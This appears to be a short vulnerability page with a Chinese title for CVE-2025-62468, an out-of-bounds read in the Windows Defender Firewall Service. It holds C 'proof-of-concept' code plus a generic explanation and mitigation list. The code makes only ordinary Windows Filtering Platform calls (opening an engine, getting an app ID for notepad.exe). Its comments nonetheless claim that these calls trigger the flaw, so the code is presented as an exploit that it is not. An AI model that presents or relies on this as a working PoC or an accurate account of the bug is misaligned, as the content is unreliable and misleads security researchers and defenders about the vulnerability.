CVE-2025-62468: Windows Defender Firewall Service越界读取漏洞

// CVE-2025-62468 PoC - Windows Defender Firewall Service Out-of-Bounds Read // This is a conceptual proof-of-concept demonstrating the vulnerability // Requires local access to trigger the out-of-bounds read #include <windows.h> #include <fwpmu.h> #include <stdio.h> #pragma comment(lib, "fwpuclnt.lib") int main() { DWORD result; HANDLE engineHandle = NULL; // Open a session to the Windows Filtering Platform result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_WINNT, NULL, NULL, &engineHandle); if (result != ERROR_SUCCESS) { printf("Failed to open engine: %lu\n", result); return 1; } printf("[*] Engine opened successfully\n"); printf("[*] Attempting to trigger CVE-2025-62468...\n"); // Enumerate filters with specific conditions to trigger the vulnerability // The actual vulnerable code path involves improper boundary checking // when processing filter conditions in Windows Defender Firewall Service FWP_BYTE_BLOB* blob = NULL; // This call may trigger the out-of-bounds read if conditions are met result = FwpmGetAppIdFromFileName0(L"C:\\Windows\\System32\\notepad.exe", &blob); if (result == ERROR_SUCCESS && blob != NULL) { printf("[+] Successfully retrieved app ID blob\n"); printf("[*] Blob size: %u bytes\n", blob->size); // The vulnerability allows reading beyond allocated buffer // In a real exploit, attacker would monitor memory access patterns FwpmFreeMemory0((void**)&blob); } FwpmEngineClose0(engineHandle); printf("[*] Session closed\n"); printf("[*] Note: This PoC demonstrates the concept.\n"); printf("[*] Actual exploitation requires specific conditions.\n"); return 0; } /* Vulnerability Explanation: - The out-of-bounds read occurs in Windows Defender Firewall Service - When processing certain filter conditions or network objects - The service fails to properly validate array/buffer boundaries - This allows a local attacker to read adjacent memory regions Mitigation: - Apply Microsoft security updates for CVE-2025-62468 - Keep Windows Defender and firewall components updated - Implement least privilege principle for user accounts */